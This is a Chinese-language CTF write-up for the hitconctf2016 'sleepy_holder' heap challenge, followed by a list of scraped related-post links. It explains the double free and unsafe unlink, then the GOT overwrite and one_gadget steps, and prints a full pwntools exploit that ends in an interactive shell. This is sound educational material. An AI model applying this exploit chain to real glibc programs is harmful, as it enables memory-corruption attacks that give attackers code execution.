unlink(sleepyholder)

题目: hitconctf2016_sleepy_holder(就是进阶版的hitconctf2016_secret_holder)

函数分析:

add

update

dele

总结 : 程序很简单,可以malloc三种类型的chunk,fast chunk \ large chunk \ large chunk(mmap()分配),明显的漏洞有uaf漏洞\double free漏洞,值的注意的是huge_chunk在被创建后就不能修改和删除了

往往简单的一个uaf和double free都可以打很多攻击姿势,这题的重要控制变量放在bss段如图:

一般遇到这种情况使用unsafe unlink来解题,且有uaf漏洞和在bss中指向用于伪造堆的指针

unlink利用需要chunk溢出到next chunk的prev_size 和size修改为fake chunk的结构即可unlink,那么就需要构造这个条件,因为程序每种类型的chunk只能add一次,那么常规的double free就使用不了,那么这个程序中在申请large chunk时会将fast bin 进行合并进入unsort bin,再加上自己可以free一次那么就可以营造double free景象如下:

  1 add(1,'B') #fast chunk2 add(2,'B') #防止下面free后被合并到top chunk3 dele(1) #放入fast bin4 add(3,'B') #申请largin chunk此时发现fast bin有数据 则合并放入small bin5 dele(1) #再free一次fast_ptr 形成double free

此时的堆空间:

可以看到已经出现了同一堆块出现在2个bin中,那么此时malloc回来就还是会显示free状态,那么就可以进行伪造fake chunk了如下:

  1 fast_ptr = 0x6020d02 fake = p64(0) + p64(0x21)3 fake += p64(fast_ptr-0x18) + p64(fast_ptr-0x10) #标准unlink绕过公式4 fake += p64(0x20)  #这里next chunk的p标志位就不需要修改了5 adds(1,fake)6 dele(2)  #unlink

之后便是简单的unlink后的标准操作改got表

  1 big_ptr = 0x6020c02 payload = p64(0) + p64(e.got['free']) +p64(0) +  p64(big_ptr)3 payload += p64(1) + p32(0) + p32(1) #3个不同类型ptr的标志位4 update(1,payload)5 update(2,p64(e.plt['puts'])) #修改free@got -> puts@plt6 update(1,p64(e.got['atoi'])) #修改big_ptr的指针指向atoi@got地址7 dele(2) #打印atoi@got地址8 leak = uu64(ru('\n')[:6])9 libc_base = leak - libc.symbols['atoi']10 success('libc',libc_base)

因为前面使fast_ptr指向了big_ptr那么就可以操作2次指针,最后的getshell

update(1,b'\x00'*0x10 + p64(e.got['puts']))
update(1,p64(libc_base + one[1]))

完整exp:

# -*-coding:utf-8 -*
from pwn import *context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')binary = "./sleepyHolder"global p
local = 1
if local:p = process(binary)e = ELF(binary)libc = e.libc
else:p = remote("111.200.241.244","58782")e = ELF(binary)libc = e.libc#libc = ELF('./libc_32.so.6')sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()def z(s='b main'):gdb.attach(p,s)def success(string,addr):print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))def pa(s='暂停!'):log.success('当前执行步骤 -> '+str(s))pause()
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4]def adds(types,data):sla("3. Renew secret\n",'1')sla("2. Big secret\n",str(types))sla("ell me your secret: \n",data)
def add(types,data):sla("3. Renew secret\n",'1')sla("3. Keep a huge secret and lock it forever\n",str(types))sla("ell me your secret: \n",data)
def dele(types):sla("3. Renew secret\n",'2')sla("2. Big secret\n",str(types))
def update(types,data):sla("3. Renew secret\n",'3')sla("2. Big secret\n",str(types))sa("ell me your secret: \n",data)#------------double free----------------
add(1,'B') #fast chunk
add(2,'B') #防止下面free后被合并到top chunk
dele(1) #放入fast bin
add(3,'B') #申请largin chunk此时发现fast bin有数据 则合并放入small bin
dele(1) #再free一次fast_ptr 形成double free
#------------fake chunk + unlink ----------------
fast_ptr = 0x6020d0
fake = p64(0) + p64(0x21)
fake += p64(fast_ptr-0x18) + p64(fast_ptr-0x10) #标准unlink绕过公式
fake += p64(0x20)  #这里next chunk的p标志位就不需要修改了
adds(1,fake)
dele(2)  #unlink
#------------leak libc----------------
big_ptr = 0x6020c0
payload = p64(0) + p64(e.got['free']) +p64(0) +  p64(big_ptr)
payload += p64(1) + p32(0) + p32(1) #3个不同类型ptr的标志位
update(1,payload)
update(2,p64(e.plt['puts'])) #修改free@got -> puts@plt
update(1,p64(e.got['atoi'])) #修改big_ptr的指针指向atoi@got地址
dele(2) #打印atoi@got地址
leak = uu64(ru('\n')[:6])
libc_base = leak - libc.symbols['atoi']
success('libc',libc_base)
#------------getshell----------------
update(1,b'\x00'*0x10 + p64(e.got['puts']))
update(1,p64(libc_base + one[1]))
#------------end----------------
it()

unlink-sleepyholder相关推荐

  1. how2heap的fastbin_dup_consolidate(包含sleepyholder)

    fastbin_dup_consolidate Column: Mar 28, 2021 昨日dasctf, 临时学会了house of orange, 但依旧爆零, 哎, 只能说自己不够努力 利用方 ...

  2. npm install 提示权限不足 Error: EPERM: operation not permitted, unlink XXX

    问题描述 使用npm install出现 npm install 提示权限不足 Error: EPERM: operation not permitted, unlink XXX提示 原因 这里原因有 ...

  3. linux shell unlink,linux shell中,unlink和rm命令有什么区别

    strace 跑 rm 與 unlink,結果有不同地方. 1. strace rm 1.txt 片段 access("1.txt", W_OK)                  ...

  4. linux c 函数 link symlink unlink 链接相关功能

    硬链接link 1.硬链接命令为ln,函数为link 2.man 2 link      硬链接函数 int link(const char *oldpath, const char *newpath ...

  5. Linux中link,unlink,close,fclose详解

    unlink系统调用] 功能描述: 从文件系统中删除一个名称.如果名称是文件的最后一个连接,并且没有其它进程将文件打开,名称对应的文件会实际被删除. 用法: #include <unistd.h ...

  6. Android中堆unlink利用学习

    前言 最近学习了堆的管理,如何进行unlink利用.发现大多数文章在讲解利用unlink进行任意地址写时没有解释得很透彻(也可能是我比较愚钝吧(╯﹏╰)),看得是云里雾里:-(.....直到看到了sh ...

  7. php中的unlink(),unset(),rmdir()删除函数

    一.unset()函数 1.这是php手册中的解释:http://www.php.net/manual/zh/function.unset.php 用法: $a = 1; unset($a); PHP ...

  8. c语言 unlink,unlink 漏洞笔记

    前导知识 malloc_chunk 结构 struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if ...

  9. Linux下unlink函数的使用

    一.头文件 #include<unistd.h> 二.函数原型 int unlink(const char *pathname); 三.函数介绍 unlink()函数功能即为删除文件.执行 ...

最新文章

  1. Maya 2022中的硬表面建模技术学习视频教程
  2. AngryTask - 基于伪 scrum 的个人项目开发产品
  3. 2分钟在线做出一张普氏分析图(Procrustes Analysis)
  4. 理解git结构与简单操作(四)合并分支的方法与策略
  5. CSDN绑定GitHub账号
  6. Apache Wicket:记住我的功能
  7. RuoYi-Cloud 部署篇_01(linux环境 mysql+nginx版本)
  8. Python机器学习:KNN算法08更多思考
  9. Oracle不完全恢复-主动恢复和incarnation/RMAN-20208/RMAN-06004
  10. 老段工作室成立两周年
  11. MYSQL语句和多表查询
  12. Predictably Irractional - 所有权的高昂代价
  13. 数字电路逻辑设计之逻辑函数
  14. DNN硬件加速器设计1 -- 序(MIT)
  15. canvas练习笔记之手绘熊本熊
  16. 8.17.6. Constructing Ranges
  17. https小灰锁(带黄色三角)如何变成安全的小绿锁
  18. 大学各专业计算机专属表情包,是不是每个专业都有专属表情包?
  19. 从多张图片重建3D模型(瞎七瞎八写了好多)
  20. 【长期社招】【校招】阿里巴巴机器智能实验室(原idst)深度学习团队长期招聘

热门文章

  1. 前端开发规范V2023.5
  2. 20221125使用PR2023自动识别obs-studio录屏生成的MKV视频的字幕
  3. 为什么我建议你现在Vue 3?
  4. 景观设计主题命名_景观设计主题
  5. 休闲娱乐之和成熟的男生谈恋爱
  6. C++ 项目实战:跨平台的文件与视频压缩解压工具的设计与实现
  7. linux fping命令使用
  8. 小程序setData执行后,页面没有刷新
  9. 夜神模拟器怎么开脚本?
  10. ROS集成开发环境IDE----RoboWare开源